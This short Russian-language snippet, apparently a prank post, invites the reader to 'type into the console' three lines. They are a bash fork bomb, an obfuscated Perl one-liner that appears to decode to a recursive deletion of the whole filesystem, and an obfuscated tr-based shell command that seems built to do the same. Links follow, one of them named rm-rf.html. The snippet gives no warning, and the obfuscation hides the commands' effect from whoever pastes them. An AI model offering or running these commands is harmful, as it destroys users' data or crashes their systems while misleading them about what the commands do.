вбить в консоль :
() { :|:& };:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null
http://ts.psc.ru/perl/rm-rf.html
https://www.linux.org.ru/forum/development/392747